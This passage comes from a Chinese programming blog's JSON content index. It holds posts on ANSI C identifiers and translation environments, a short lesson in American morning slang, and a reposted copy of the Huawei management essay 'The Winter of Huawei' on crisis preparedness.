count。\n","permalink":"https://tonybai.com/2005/08/05/c-standard-overview-identifier/","summary":"\u003cp\u003e标识符(identifier)\u003c/p\u003e\n\u003cp\u003e1、一个标识符可以表示:\u003cbr\u003e\na) 对象(object)\u003cbr\u003e\nb) 函数(function)\u003cbr\u003e\nc) 结构体(struct)的标签(Tag)[注1]\u003cbr\u003e\nd) 结构体的成员\u003cbr\u003e\ne) 联合体(union)或枚举类型(enumeration)\u003cbr\u003e\nf) 类型别名(typedef)\u003cbr\u003e\ng) 标签(label)\u003cbr\u003e\nh) 宏(macro)\u003cbr\u003e\ni) 宏参数(macro parameter)\u003cbr\u003e\n同一个标识符在程序的“不同点”处可以表示不同的“实体”(entity)。[注2]\u003cbr\u003e\n一个枚举(enumeration)的成员被称为一个“枚举常量，enumeration constant”。\u003c/p\u003e","title":"走马观花ANSI C标准-标识符"},{"content":"标准都是条条框框的，以严谨著称，语言晦涩难懂。这也是大多数人不愿意“接近”它的原因。但它吸引我的最重要原因恰恰是“标准”二字，我觉得我能从这个标准中找到一些“闪光点”，而这些“闪光点”又恰恰是能让我有所提高的地方。\n1、翻译环境\nC Source文件是以文本形式存在的，将之转变成可执行程序的过程，我们管之叫“翻译”。C语言的翻译不是一蹴而就的，一般需要两遍才能达到目的，第一遍称为“预处理”，预处理的基本单位是“预处理翻译单元”。第二遍叫“编译”，编译的基本单位是“翻译单元”\na)何为“预处理翻译单元”？\n其实很多人之前对这个的理解都很模糊，标准中是如是说的“一个预处理翻译单元是由一个Source file和该Source file通过#include指示符包含的Header files和Source files组成的”，不妨多看几次这个说明，标准就是标准，理解起来还真有些费事^_^。注：#include \u0026ldquo;xx.c\u0026quot;是没有错误的，只是不常用。\nb)“预处理翻译单元”和“翻译单元”之间的关系\n预处理后的“预处理翻译单元”叫“翻译单元”。\nc)“翻译单元”之间的关系\n首先翻译单元相互独立编译；\n其次一个完整的可执行程序是由众多翻译单元链接而成的；\n最后翻译单元之间是“external linkage（外部链接）”的关系。\n2、执行环境\n经过复杂的翻译后，现在我们拥有了可以执行的程序了。我们要关心的就是我们的“执行环境”了。执行环境分为两类：“独立的”和“宿主的”。都很好理解。前者在实现时没占一点操作系统的便宜。后者则恰恰相反，利用了很多操作系统的特性和现成的东东。\n我们所使用的执行环境多为后者。启动函数(Startup function)一般为main，main有两种原型形式：\nint main(void);\nint main(int argc, char *argv[]);\n当然对第二个main的参数有些限制。如argc \u0026gt;= 0等。\n3、其他考虑\na)字符集\n源文件字符集：用于书写源文件的字符集。\n执行字符集：在执行环境中被解释的字符集。\n基础字符集：包括26个小写拉丁字母、26个大写拉丁字母、数字0~9等，这些字符的值都能用8位bit（即一个字节）编码表示。我的理解如ASCII字符集\n扩展字符集：一些非基础字符集的区域相关(locale-specific)的字符。我的理解如Unicode字符集\nnull字符：一个所有位都为0的byte被称为null字符，用于标识字符串结尾。\n4、环境限制\n没有绝对的自由，无论是“翻译环境”还是“执行环境”都有一定的限制。\n这里不想列举那么多的数字。\n那我们该怎么得到这些限制呢？这里有几个头文件:\n：int相关长度限制\n：浮点数相关限制\n：额外的一些关于int的限制。\n","permalink":"https://tonybai.com/2005/08/04/c-standard-overview-envi/","summary":"\u003cp\u003e标准都是条条框框的，以严谨著称，语言晦涩难懂。这也是大多数人不愿意“接近”它的原因。但它吸引我的最重要原因恰恰是“标准”二字，我觉得我能从这个标准中找到一些“闪光点”，而这些“闪光点”又恰恰是能让我有所提高的地方。\u003c/p\u003e","title":"走马观花ANSI C标准-环境"},{"content":"来学习一些地道的日常美语吧。\n一清早起来，Alex洗漱完毕，发现Tony仍不见清醒，就大声说：\n\u0026ldquo;Tony! We gotta go! It\u0026rsquo;s burning down!\u0026rdquo;\nTony正在做着美梦，被吵醒，心里自然很烦，遂说：\n\u0026ldquo;Don\u0026rsquo;t bother me!\u0026rdquo;\n如果这时Tony只是贪睡，则可能会这样说：\nTony : Please give me five more minutes!\nTony从梦中醒来，发现时间所剩无几，遂快速跑到bathroom，却发现有一哥们正在里面，Tony不无好气的叫喊道：\n\u0026ldquo;Don\u0026rsquo;t hog the bathroom/shower!\u0026rdquo;\n清晨起来，你不妨试试^_^\n","permalink":"https://tonybai.com/2005/08/02/morning-get-up-words/","summary":"\u003cp\u003e来学习一些地道的日常美语吧。\u003c/p\u003e\n\u003cp\u003e一清早起来，Alex洗漱完毕，发现Tony仍不见清醒，就大声说：\u003cbr\u003e\n\u0026ldquo;Tony! We gotta go! It\u0026rsquo;s burning down!\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eTony正在做着美梦，被吵醒，心里自然很烦，遂说：\u003cbr\u003e\n\u0026ldquo;Don\u0026rsquo;t bother me!\u0026rdquo;\u003c/p\u003e","title":"寝室晨起混乱用语"},{"content":"在网上发现了这篇“华为的冬天”，虽说是几年前的文章，但是读完后仍很有感触，遂转帖之。\n公司所有员工是否考虑过，如果有一天，公司销售额下滑、利润下滑甚至会到破产的地步，我们怎么办？我们公司的太平时间太长了，在和平时期升的官太多了，这也许就是我们的灾难。泰坦尼克号也是在一片欢呼声中出的海。而且我相信，这一天一定会到来。面对这样的未来，我们怎样来处理，我们是不是思考过。我们好多员工盲目自豪，盲目乐观，如果想过的人太少，也许就快来临了。居安思危，不是危言耸听。\n我到德国考察时，看到第二次世界大战后德国恢复得这么快，当时很感动。他们当时的工人团结起来，提出要降工资，不增工资，从而加快经济建设，所以战后德国经济增长很快。如果华为公司真的危机到来了，是不是员工工资减一半，大家靠一点白菜、南瓜过日子，就能行？\n或者我们就裁掉一半人是否就能救公司。如果是这样就行的话，危险就不危险了。因为，危险一过去，我们可以逐步将工资补回来。或者销售增长，将被迫裁掉的人请回来。这算不了什么危机。如果两者同时都进行，都不能挽救公司，想过没有。\n十年来我天天思考的都是失败，对成功视而不见，也没有什么荣誉感、自豪感，而是危机感。也许是这样才存活了十年。我们大家要一起来想，怎样才能活下去，也许才能存活得久一些。失败这一天是一定会到来，大家要准备迎接，这是我从不动摇的看法，这是历史规律。\n目前情况下，我认为我们公司从上到下，还没有真正认识到危机，那么当危机来临的时刻，我们可能是措手不及的。我们是不是已经麻木，是不是头脑里已经没有危机这根弦了，是不是已经没有自我批判能力或者已经很少了。那么，如果四面出现危机时，那我们可能是真没有办法了。那我们只能说“你们别罢工了，我们本来就准备不上班了，快关了机器，还能省点电。”如果我们现在不能研究出现危机时的应对方法和措施来，我们就不可能持续活下去。 这三年来的管理要点讲的都是人均效益问题。不抓人均效益增长，管理就不会进步。因此一个企业最重要、最核心的就是追求长远地、持续地实现人均效益增长。当然，这不仅仅是当前财务指标的人均贡献率，而且也包含了人均潜力的增长。企业不是要大，也不是要强，短时间的强，而是要有持续活下去的能力与适应力。我们有一位员工写了一篇文章《还能改进吗？还能改进吗？》，只有不断改进，我们才有希望。\n但是华为公司有多少员工在本职岗位上在改进，有多少人在研究还能再改进。我们的干部述职报告所有指标都是人均效益指标。人均效益指标降低了，我们就坚定不移地降工资。如果你连降工资都不能接受，我认为你就没有必要再留在华为公司奋斗了。一个部门领导没有犯过什么错误，但人均效益没有增长，他应下台了。另一个部门的领导犯过一些错误，当然不是品德错误，是大胆工作，大胆承担责任，缺经验而产生的错误，而人均效益增长，他应受到重视。若他犯的错误，是集体讨论过的，错了以后又及时改正了，他应受到提拔。各级干部部门，要防止明哲保身的干部被晋升。在一个系统中，人均效益的指标连续不增长，那么主要部门领导与干部部门的人，应全部集体辞职。因为，人是他们选的，您选了些什么人。\n在当前情况下，我们一定要居安思危，一定要看到可能要出现的危机。大家知道，有个是世界上第一流的公司，确实了不起，但去年说下来就下来了，眨眼之间这个公司就几乎崩溃了。当然，他们有很好的基础研究，有良好的技术储备，他们还能东山再起。最多这两年衰退一下，过两年又会世界领先。而华为有什么呢？我们没有人家雄厚的基础，如果华为再没有良好的管理，那么真正的崩溃后，将来就会一无所有，再也不能复活。\n华为公司老喊狼来了，喊多了，大家有些不信了。但狼真的会来了。今年我们要广泛展开对危机的讨论，讨论华为有什么危机，你的部门有什么危机，你的科室有什么危机，你的流程的那一点有什么危机。还能改进吗？还能改进吗？还能提高人均效益吗？如果讨论清楚了，那我们可能就不死，就延续了我们的生命。怎样提高管理效率，我们每年都写了一些管理要点，这些要点能不能对你的工作有些改进，如果改进一点，我们就前进了。\n一、均衡发展，就是抓短的一块木板\n我们怎样才能活下来。同志们，你们要想一想，如果每一年你们的人均产量增加百分之十五，你可能仅仅保持住工资不变或者还可能略略下降。电子产品价格下降幅度 一年还不止只百分之十五吧。我们卖的越来越多，而利润却越来越少，如果我们不多干一点，我们可能保不住今天，更别说涨工资。不能靠没完没了的加班，所以一定要改进我们的管理。在管理改进中，一定要强调改进我们木板最短的那一块。各部门、各科室、各流程主要领导都要抓薄弱环节。要坚持均衡发展，不断地强化以流程型和时效型为主导的管理体系的建设，在符合公司整体核心竞争力提升的条件下，不断优化你的工作，提高贡献率。为什么要解决短木板呢？公司从上到下都重视研发、营销，但不重视理货系统、中央收发系统、出纳系统、订单系统……等很多系统，这些不被重视的系统就是短木板，前面干得再好，后面发不出货，还是等于没干。因此全公司一定要建立起统一的价值评价体系，统一的考评体系，才能使人员在内部流动和平衡成为可能。比如有人说我搞研发创新很厉害，但创新的价值如何体现，创新必须通过转化变成商品，才能产生价值。我们重视技术、重视营销，这一点我并不反对，但每一个链条都是很重要的。对研发相对用服来说，同等级别的一个用服工程师可能要比研发人员综合处理能力还强一些。所以如果我们对售后服务体系不给认同，那么这体系就永远不是由优秀的人来组成的。不是由优秀的人来组织，就是高成本的组织。因为他飞过去修机器，去一趟修不好，又飞过去修不好，又飞过去又修不好。我们把工资全都赞助给民航了。如果我们一次就能修好，甚至根本不用过去，用远程指导就能修好，我们将省了多少成本啊！\n因此，我们要强调均衡发展，不能老是强调某一方面。比如，我们公司老发错货，发到国外的货又发回来了，发错货运费、货款利息不也要计成本吗？因此要建立起一个均衡的考核体系，才能使全公司短木板变成长木板，桶装水才会更多。我们这几年来研究了很多产品，但IBM还有许多西方公司到我们公司来参观时就笑话我们浪费很大，因为我们研究了很多好东西就是卖不出去，这实际上就是浪费。我们不重视体系的建设，就会造成资源上的浪费。要减少木桶的短木板，就要建立均衡的价值体系，要强调公司整体核心竞争力的提升。\n二、对事负责制，与对人负责制是有本质区别的，一个是扩张体系，一个是收敛体系。\n为什么我们要强调以流程型和时效型为主导的体系呢？现在流程上运作的干部，他们还习惯于事事都请示上级。这是错的，已经有规定，或者成为惯例的东西，不必请示，应快速让它通过去。执行流程的人，是对事情负责，这就是对事负责制。事事请示，就是对人负责制，它是收敛的。我们要减化不必要确认的东西，要减少在管理中不必要、不重要的环节，否则公司怎么能高效运行呢？现在我们机关有相当的部门，以及相当的编制，在制造垃圾，然后这些垃圾又进入分捡、清理，制造一些人的工作机会。制造这些复杂的文件，搞了一些复杂的程序，以及不必要的报表、文件，来养活一些不必要养活的机关干部。机关干部是不能产生增值行为的。我们一定要在监控有效的条件下，尽力精简机关。秘书有权对例行的管理工作进行处理，经理主要对例外事件，以及判别不清的重要例行事件作出处理。例行越多，经理就越少，成本就越低。一定要减少编制，我们的机关编制是过于庞大的。在同等条件下，机关干部是越少越好，当然不能少得一个也没有。因此我们一定坚定不移地要把一部分机关干部派到直接产生增值的岗位上去。机关的考评，应由直接服务部门进行打分，它要与机关的工资、奖金的组织得分挂勾。这也是客户导向，内部客户也是客户。\n市场部机关是无能的。每天的纸片如雪花一样飞啊，每天都向办事处要报表，今天要这个报表，明天要那个报表，这是无能的机关干部。办事处每一个月把所有的数据填一个表，放到数据库里，机关要数据就到数据库里找。从明天开始，市场部把多余的干部组成一个数据库小组，所有数据只能向这个小组要，不能向办事处要，办事处一定要给机关打分，你们不要给他们打那么好的分，让他们吃一点亏，否则他们不会明白这个道理，就不会服务于你们，使你作战有力。庞大的机关一定要消肿。在这个变革过程中，会触及到许多人的利益，也会碰到许多矛盾，领导干部要起模范作用。要有人敢于承担责任，不敢承担责任的人就不能当干部。当工程师也很光荣嘛。\n在本职工作中，我们一定要敢于负责任，使流程速度加快。对明哲保身的人一定要清除。华为给了员工很好的利益，于是有人说千万不要丢了这个位子，千万不要丢掉这个利益。凡是要保自己利益的人，要免除他的职务，他已经是变革的绊脚石。在去年的一年里，如果没有改进行为的，甚至一次错误也没犯过，工作也没有改进的，是不是可以就地免除他的职务。他的部门的人均效益没提高，他这个科长就不能当了。他说他也没有犯错啊，没犯错就可以当干部吗？有些人没犯过一次错误，因为他一件事情都没做。而有些人在工作中犯了一些错误，但他管理的部门人均效益提升很大，我认为这种干部就要用。对既没犯过错误，又没有改进的干部可以就地免职。\n三、自我批判，是思想、品德、素质、技能创新的优良工具\n我们一定要推行以自我批判为中心的组织改造和优化活动。自我批判不是为批判而批判，也不是为全面否定而批判，而是为优化和建设而批判。总的目标是要提升公司整体核心竞争力。为什么要强调自我批判？我们倡导自我批判，但不提倡相互批评，因为批评不好把握适度，如果批判火药味很浓，就容易造成队伍之间的矛盾。而自己批判自己呢，人们不会自己下猛力，对自己都会手下留情。即使用鸡毛掸子轻轻打一下，也比不打好，多打几年，你就会百炼成钢了。自我批判不光是个人进行自我批判，组织也要对自己进行自我批判。通过自我批判，各级骨干要努力塑造自己，逐步走向职业化，走向国际化。只有认真地自我批判，才能在实践中不断吸收先进，优化自己。公司认为自我批判是个人进步的好方法，还不能掌握这个武器的员工，希望各级部门不要对他们再提拔了。两年后，还不能掌握和使用这个武器的干部要降低使用。在职在位的干部要奋斗不息、进取不止。干部要有敬业精神、献身精神、责任心、使命感。我们对普通员工不作献身精神要求，他们应该对自己付出的劳动，取得合理报酬。只对有献身精神的员工作要求，将他们培养成干部。另外，我们对高级干部实行严要求，不对一般干部实施严要求。因为都实施严要求，我们管理成本就太高了。因为管他也要花钱的呀，不打粮食的事我们要少干。因此我们对不同级别的干部有不同的要求，凡是不能使用自我批判这个武器的干部都不能提拔。自我批判从高级干部开始，高级干部每年都有民主生活会，民主生活会上提的问题是非常尖锐的。有人听了以后认为公司内部斗争真激烈，你看他们说起问题来很尖锐，但是说完他们不又握着手打仗去了吗？我希望这种精神一直能往下传，下面也要有民主生活会，一定要相互提意见，相互提意见时一定要和风细雨。我认为，批评别人应该是请客吃饭，应该是绘画、绣花，要温良恭让。一定不要把内部的民主生活会变成了有火药味的会议，高级干部尖锐一些，是他们素质高，越到基层应越温和。事情不能指望一次说完，一年不行，二年也可以，三年进步也不迟。我希望各级干部在组织自我批判的民主生活会议上，千万要把握尺度。我认为人是怕痛的，太痛了也不太好，象绘画，绣花一样，细细致致地帮人家分析他的缺点，提出改进措施来，和风细雨式最好。我相信只要我们持续下去，这比那种暴风急雨式的革命更有效果。 四、任职资格及虚拟利润法是推进公司合理评价干部的有序、有效的制度。\n我们要坚定不移地继续推行任职资格管理制度。只有这样才能改变过去的评价蒙估状态。才会使有贡献、有责任心的人尽快成长起来。激励机制要有利于公司核心竞争力战略的全面展开，也要有利于近期核心竞争力的不断增长。\n什么叫领导？什么叫做政客？这次以色列的选举，让我们看到了犹太人的短视。拉宾意识到以色列一个小国，处在几亿阿拉伯人的包围中，尽管几次中东战争以色列都战胜了。但不能说50年、100年以后，阿拉伯人不会发展起来，今天不以土地换和平、划定边界，与周边和平相处，那么一旦阿拉伯人强大起来，他们又会重新流离失所。要是这样犹太人再过2000年还回不回得来，就不一定了。而大多数人，只看重眼前的利益，沙龙是强硬派，会为犹太人争得近期利益，人们拥护了他。我终于看到一次犹太人也象我们一样的短视。我们的领导都不要迎合群众，但推进组织目的，要注意工作方法。一时牺牲的是眼前的利益，但换来的是长远的发展。我曾经在与一个世界著名公司，也是我司全方位的竞争对手的合作时讲过，我是拉宾的学生，我们一定要互补、互助，共同生存。我只是就崇敬拉宾，来比喻与竞争对手的长期战略关系。如何掌握任职资格的应用，是对各级干部的考验。我们公司在推行激励机制时，不要有短期行为，我们要强调可持续发展。既要看到他的短期贡献，也要看到组织的长期需求。不要对立起来，不要完全短期化，也不要完全长期化。同时，我们要推行以正向考核为主，但要抓住关键事件逆向考事，事就是事情的事。对每一件错误要逆向去查，找出根本原因，以改进。并从中发现优良的干部。我认为正向考核很重要，逆向的考事也很重要。要从目标决策管理的成功，特别是成功的过程中发现和培养各级领导干部。在失败的项目中，我们要善于总结，其中有不少好干部也应得到重视。要避免考绩绝对化、形而上学。特别是要从有实践经验、有责任心、有技能，且本职工作做得十分优秀的员工中选拔和培养骨干。\n干部要有敬业精心、献身精神、责任心和使命感。区别一个干部是不是一个好干部，是不是忠臣，标准有四个：第一，你有没有敬业精神，对工作是否认真，改进了，还能改进吗？还能再改进吗？这就是你的工作敬业精神。第二，你有没有献身精神，不要斤斤计较，我们的价值评价体系不可能做到绝对公平。如果用曹冲称象的方法来进行任职资格来评价的话，那肯定是公平的。但如果用精密天平来评价，那肯定公平不了。我们要想做到绝对公平是不可能的。我认为献身精神是考核干部的一个很重要因素。一个干部如果过于斤斤计较，这个干部绝对做不好，你手下有很多兵，你自私、斤斤计较，你的手下能和你合作很好吗？没有献身精神的人不要做干部，做干部的一定要有献身精神。第三点和第四点，就是要有责任心和使命感。我们的员工是不是都有责任心和使命感？如果没有责任心和使命感，为什么还想要当干部。如果你觉得还是你有一点责任心和使命感的，赶快改进，否则最终还是要把你免下去的。\n五、不盲目创新，才能缩小庞大的机关。\n庙小一点，方丈减几个，和尚少一点，机关的改革就是这样。总的原则是我们一定要压缩机关，为什么？因为我们建设了IT。为什么要建设IT？道路设计时要博士，炼钢制轨要硕士，铺路要本科生。但是道路修好了扳岔道就不要这么高的学历了，否则谁也坐不起这个火车。因此当我们公司组织体系和流程体系建设起来的时候，就不要这么多的高级别干部，方丈就少了。建立流程的目的就是要提高单位生产效率，减掉一批干部。如果一层一层都减少一批干部，我们的成本下降很快。规范化的格式与标准化的语言，使每一位管理者的管理范围与内容更加扩大。信息越来越发达，管理的层次就越来越少，维持这些层级管理的官员就会越来越少，成本就下降了。要保证IT能实施，一定要有一个稳定的组织结构，稳定的流程。盲目创新只会破坏这种效率。我们不要把创新炒得太热。我们希望不要随便创新，要保持稳定的流程。要处理好管理创新与稳定流程的关系。尽管我们要管理创新、制度创新，但对一个正常的公司来说，频繁地变革，内外秩序就很难安定地保障和延续。不变革又不能提升我们的整体核心竞争力与岗位工作效率。变革，究竟变什么？这是严肃的问题，各级部门切忌草率。一个有效的流程应长期稳定运行，不因有一点问题就常去改动它，改动的成本会抵消改进的效益。已经证明是稳定的流程，尽管发现它的效率不是很高，除非我们整体设计或大流程设计时发现缺陷，而且这个缺陷非改不可，其它时候就不要改了。今年所有的改革必须经过严格的审批、证实，不能随意去创新和改革，这样创新和改革的成本太高。我们要坚持“小改进，大奖励”。“小改进、大奖励”是我们长期坚持不懈的改良方针。应在小改进的基础上，不断归纳，综合分析。研究其与公司总体目标流程的符合，与周边流程的和谐，要简化、化、再固化。这个流程是否先进，要以贡献率的提高来评价。我年轻时就知道华罗庚的一句话，“神奇化易是坦途，易化神奇不足提”。我们有些员工，交给他一件事，他能干出十件事来，这种创新就不需要，是无能的表现。这是制造垃圾，这类员工要降低使用。所以今年有很多变革项目，但每个变革项目都要以贡献率来考核。 既要实现高速增长，又要同时展开各项管理变革，错综复杂，步履艰难，任重而道远。各级干部要有崇高的使命感和责任意识，要热烈而镇定，紧张而有秩序。“治大国如烹小鲜”，我们做任何小事情都要小心谨慎，不要随意把流程破坏了，发生连锁错误。大家在处理相互之间的人际关系上也要保持冷静，稍不冷静就惹麻烦。千万不要有浮躁的情绪，戒骄戒躁，收敛自我，少一些冲动，多一些理智。我们要坚决反对形而上学、幼稚浮躁、机械教条和唯心主义。在管理进步中一定要实事求是，特别要反对形左实右。表面上去做得很正确，其实效率是很低的。 六、规范化管理本身已含监控，它的目的是有效、快速的服务业务需要。\n我们要继续坚持业务为主导，会计为监督的宏观管理方法与体系的建设。什么叫业务为主导，就是要敢于创造和引导需求，取得“机会窗”的利润。也要善于抓住机会，缩小差距，使公司同步于世界而得以生存。什么叫会计为监督，就是为保障业务实现提供规范化的财经服务，规范化就可以快捷、准确和有序，使帐务维护成本低。规范化是一把筛子，在服务的过程中也完成了监督。要把服务与监控融进全流程。我们也要推行逆向审计，追溯责任，从中发现优秀的干部，铲除沉淀层。以业务为主导，会计为监督的管理模式，就是要为推行区域、业务的行政管理与统一财务服务的行政管理相分离做准备（财务IT，将实行全国、全球统一管理）。 七、面对变革要有一颗平常心，要有承受变革的心理素质。\n我们要以正确的心态面对变革。什么是变革？就是利益的重新分配。利益重新分配是大事，不是小事。这时候必须有一个强有力的管理机构，才能进行利益的重新分配，改革才能运行。在改革的过程中，从利益分配的旧平衡逐步走向新的利益分配平衡。这种平衡的循环过程，是促使企业核心竞争力提升与效益增长的必须。但利益分配永远是不平衡的。我们在进行岗位变革也是有利益重新分配的，比如大方丈变成了小方丈，你的庙被拆除了，不管叫什么，都要有一个正确的心态来对待。如果没有一个正确的心态，我们的改革是不可以成功的，不可能被接受的。特别是随着IT体系的逐步建成，以前的多层行政传递与管理的体系将更加扁平化。伴随中间层的消失，一大批干部将成为富余，各大部门要将富余的干部及时输送至新的工作岗位上去，及时地疏导，才会避免以后的过度裁员。\n我在美国时，在和IBM、Cisco、Lucent等几个大公司领导讨论问题时谈到，IT是什么？他们说，IT就是裁员、裁员、再裁员。以电子流来替代人工的操作，以降低运作成本，增强企业竞争力。我们也将面临这个问题。伴随着IPD、ISC、财务四统一、支撑IT的网络等逐步铺开和建立，中间层消失。我们预计我们大量裁掉干部的时间大约在2003年或2004年。今天要看到这个局面，我们现在正在扩张，还有许多新岗位，大家要赶快去占领这些新岗位，以免被裁掉。不管是对干部还是普通员工，裁员都是不可避免的。我们从来没有承诺过，象日本一样执行终身雇佣制。我们公司从创建开始就是强调来去自由。同时，公司与社会间的劳动力交流是必要的，公司不用的、富余的劳动力在社会上其它地方可能是需要的，社会上也许有一些我们短缺的。公司内长木板和短木板的交换也是需要岗位与人员的流动。我们要及时地疏导员工到新岗位上去，才会避免以后过度裁员。内部流动是很重要的。当然这个流动有升有降，只要公司的核心竞争力提升了，个人的升、降又何妨呢？“不以物喜，不以己悲”。因此今天来说，我们各级部门真正关怀干部，就不是保住他，而是要疏导他，疏导出去。在新岗位上尽量使用和训练老员工，老员工也应积极去占领，不然补充了新人，他也有选择的权利。只有公司核心竞争力提升，才会有全体员工价值实现机会。我们要消除变革中的阻力，这种阻力主要来自高中级干部。我们正处在一个组织变革的时期，许多高中级干部的职务都会相对发生变动。我们愿意听取干部的倾诉，但我们也要求干部服从，否则变革无法进行。待三年后，变革已进入正常秩序，我们愿意遵照干部的意愿及工作岗位的可能，接受干部的调整愿望。对于干部，我们只有这样一个方法，愿意听你们诉一诉，诉完后还是要到分配的岗位工作。对于基层员工要“干一行，爱一行，专一行”，努力提高自己本职工作的技能。要严格控制基层员工的转岗，转岗一定要得到严格的审查与批准。我认为基层员工就是要发展专业技能，专业技能提高了也可以拿高工资。对已经转岗的和以后还要转岗的，只要不能达到新岗位的使用标准，而原工作岗位已由合格员工替代的，建议各部门先劝退。各部门不能在自己的流程中，有多余的冗积和沉淀。哪一个部门的干部工作效率不高，应由这一个部门的一把手负责任。我们要减少工作协调与调度会议，即使对于那些必须开的、开完要立即实行的会议，也要减少参加这些会议的人员数量。同时要禁止技能培训类远期的目标的会议在上班时间召开，其他活动如体检、沟通、联欢之类活动，更不得在上班时间举行，要确保工作时间与质量得到贯彻落实。 八、模板化是所有员工快速管理进步的法宝\n我们认为规范化管理的要领是工作模板化，什么叫做规范化？就是我们把所有的标准工作做成标准的模板，就按模板来做。一个新员工，看懂模板，会按模板来做，就已经国际化、职业化，现在的文化程度，三个月就掌握了。而这个模板是前人摸索几十年才摸索出来的，你不必再去摸索。各流程管理部门、合理化管理部门，要善于引导各类已经优化的、已经证实行之有效的工作模板化。清晰流程，重复运行的流程，工作一定要模板化。一项工作达到同样绩效，少用工，又少用时间，这才说明管理进步了。我们认为，抓住主要的模板建设，又使相关的模板的流程连结起来，才会使IT成为现实。在这个问题，我们要加强建设。 九、华为的危机，以及萎缩、破产是一定会到来的。 现在是春天吧，但冬天已经不远了，我们在春天与夏天要念着冬天的问题。我们可否抽一些时间，研讨一下如何迎接危机。IT业的冬天对别的公司来说不一定是冬天，而对华为可能是冬天。华为的冬天可能来得更冷，更冷一些。我们还太嫩，我们公司经过十年的顺利发展没有经历过挫折，不经过挫折，就不知道如何走向正确道路。磨难是一笔财富，而我们没有经过磨难，这是我们最大的弱点。我们完全没有适应不发展的心理准备，与技能准备。 我们在讨论危机的过程中，最重要的是要结合自身来想一想。我们所有员工的职业化程度都是不够的。我们提拔干部时，首先不能讲技能，要先讲品德，品德是我讲的敬业精神、献身精神、责任心和使命感。危机并不遥远，死亡却是永恒的，这一天一定会到来，你一定要相信。\n从哲学上，从任何自然规律上来说，我们都不能抗拒，只是如果我们能够清醒认识到我们存在的问题，我们就能延缓这个时候的到来。繁荣的背后就是萧条。玫瑰花很漂亮，但玫瑰花肯定有刺。任何事情都是相辅相背的，不可能有绝对的。今年我们还处在快速发展中，员工的收入都会有一定程度的增加，在这个时期来研究冬天的问题，比较潇洒，所以我们提前到繁荣时期来研究这个问题。我们不能居安思危，就必死无疑。\n危机的到来是不知不觉地，我认为所有的员工都不能站在自己的角度立场想问题。如果说你们没有宽广的胸怀，就不可能正确对待变革。如果你不能正确对待变革，抵制变革，公司就会死亡。在这个过程中，大家一方面要努力地提升自己，一方面要与同志们团结好，提高组织效率，并把自己的好干部送到别的部门去，使自己部下有提升的机会。你减少了编制，避免了裁员、压缩。在改革过程中，很多变革总会触动某些员工的一些利益和矛盾，希望大家不要发牢骚，说怪话，特别是我们的干部要自律，不要传播小道消息。我认为，每一个人都要站在严格要求自己的角度说话，同时也要把自己的家属管好。一个传播小道消息、不能自律的人，是不能当干部的，因为你部下的许多事你都知道，你有传播习惯，你不会触及部下？他们能相信您？因此，所有的员工都要自律以及制止小道消息的传播，帮助公司防止这些人成为干部。 十、安安静静地应对外界议论\n对待媒体的态度，希望全体员工都要低调，因为我们不是上市公司，所以我们不需要公示社会。我们主要是对政府负责任，对企业的有效运行负责任。对政府的责任就是遵纪守法，我们去年交给国家的增值税、所得税是18个亿，关税是9个亿，加起来一共是27个亿。估计我们今年在税收方面可能再增加百分之七、八十，可能要给国家交到四十多个亿。我们已经对社会负责了。媒体有他们自己的运作规律，我们不要去参与，我们有的员工到网上的辩论，是帮公司的倒忙。媒体说你好，你也别高兴，你未必真好。说你不好，你就看看是否有什么地方可改进，实在报道有出入的，不要去计较，时间长了就好了。希望大家要安安静静的。前几年国外媒体说我们资不抵债，亏损严重，快要垮了，不是它说垮就垮的。也许它还麻痹了竞争对手，帮我们的忙。半年前，也还在说我司资不抵债，突然去年年底美国媒体又说我司富得流油，还说我有多少钱。我看公司并不富，我个人也没多少钱。你们看我象有钱人吗？你们最了解，我常常被人误认为老工人。财务对我最了解，我去年年底，才真真实实还清了我欠公司的所有帐，这世纪才成为无债的人。当然我买了房子、买了车。我原来是10万元买了一台广州厂处理的标志车，后来许多领导与我谈，还是买一个好一些的车，万一车祸能抗一下。所以媒体说我们富，就富了？我看未必。而且美国媒体别有用心的编造，不知安的什么心。所以我们的员工都要自律，也要容忍人家的不了解，不要去争论。有时候媒体炒作我们，我们的员工要低调，不要响应，否则就是帮公司的倒忙。\n我肯定的说，我同你们在座的人一样，一旦华为破产，我们都一无所有。所有的增值都必须在持续生存中才能产生。要持续发展，没有新陈代谢是不可能的。包括我被代谢掉，都是永恒不变的自然规律，不可抗拒的，我也以平常心对待。\n我认为，我们要严格要求自己，把自己的事做好，把自己不对的地方改正。别人说的对的，我们就改了；别人说的不对的，时间长了也会证实他说的没道理。我们要以平常心对待。我希望大家真正能够成长起来，挑起华为的重担，分担整个公司的忧愁，使公司不要走上灭亡。为了大家，大家要努力。希望大家正确对待社会上对我们的一些议论，希望大家安安静静的。我想，每个员工都要把精力用到本职工作上去，只有本职工作做好了才能为你提高带来更大的效益。国家的事由国家管，政府的事由政府管，社会的事由社会管，我们只要做一个遵纪守法的公民，就完成了我们对社会的责任。只有这样我们公司才能安全、稳定。不管遇到任何问题，我们的员工都要坚定不移地保持安静，听党的话，跟政府走。严格自律，不该说的话不要乱说。特别是干部要管好自己的家属。我们华为人都是非常有礼仪的人。当社会上根本认不出你是华为人的时候，你就是华为人；当这个社会认出你是华为人的时候，你就不是华为人，因为你的修炼还不到家。 沉舟側畔千帆过，病树前头万木春。网络股的暴跌，必将对二、三年后的建设预期产生影响，那时制造业就惯性进入了收缩。眼前的繁荣是前几年网络大涨的惯性结果。记住一句话“物极必反”，这一场网络、设备供应的冬天，也会象它热得人们不理解一样，冷得出奇。没有预见，没有预防，就会冻死。那时，谁有棉衣，谁就活下。\n数字不是全部，精采才是人生。\n","permalink":"https://tonybai.com/2005/07/29/foward-the-winter-of-huawei/","summary":"\u003cp\u003e在网上发现了这篇“华为的冬天”，虽说是几年前的文章，但是读完后仍很有感触，遂转帖之。\u003c/p\u003e\n\u003cp\u003e公司所有员工是否考虑过，如果有一天，公司销售额下滑、利润下滑甚至会到破产的地步，我们怎么办？我们公司的太平时间太长了，在和平时期升的官太多了，这也许就是我们的灾难。泰坦尼克号也是在一片欢呼声中出的海。而且我相信，这一天一定会到来。面对这样的未来，我们怎样来处理，我们是不是思考过。我们好多员工盲目自豪，盲目乐观，如果想过的人太少，也许就快来临了。居安思危，不是危言耸听。\u003c/p\u003e","title":"转帖“华为的冬天”"},{"content":"大部分的关于C的著作都提到ANSI C Standard，但我相信少有C程序员真正细致阅读过ANSI C标准(当然了对于作C编译器的程序员来说这个标准肯定是烂熟于胸了^_^),在这个系列的文章中我将和大家一起浏览一下ANSI 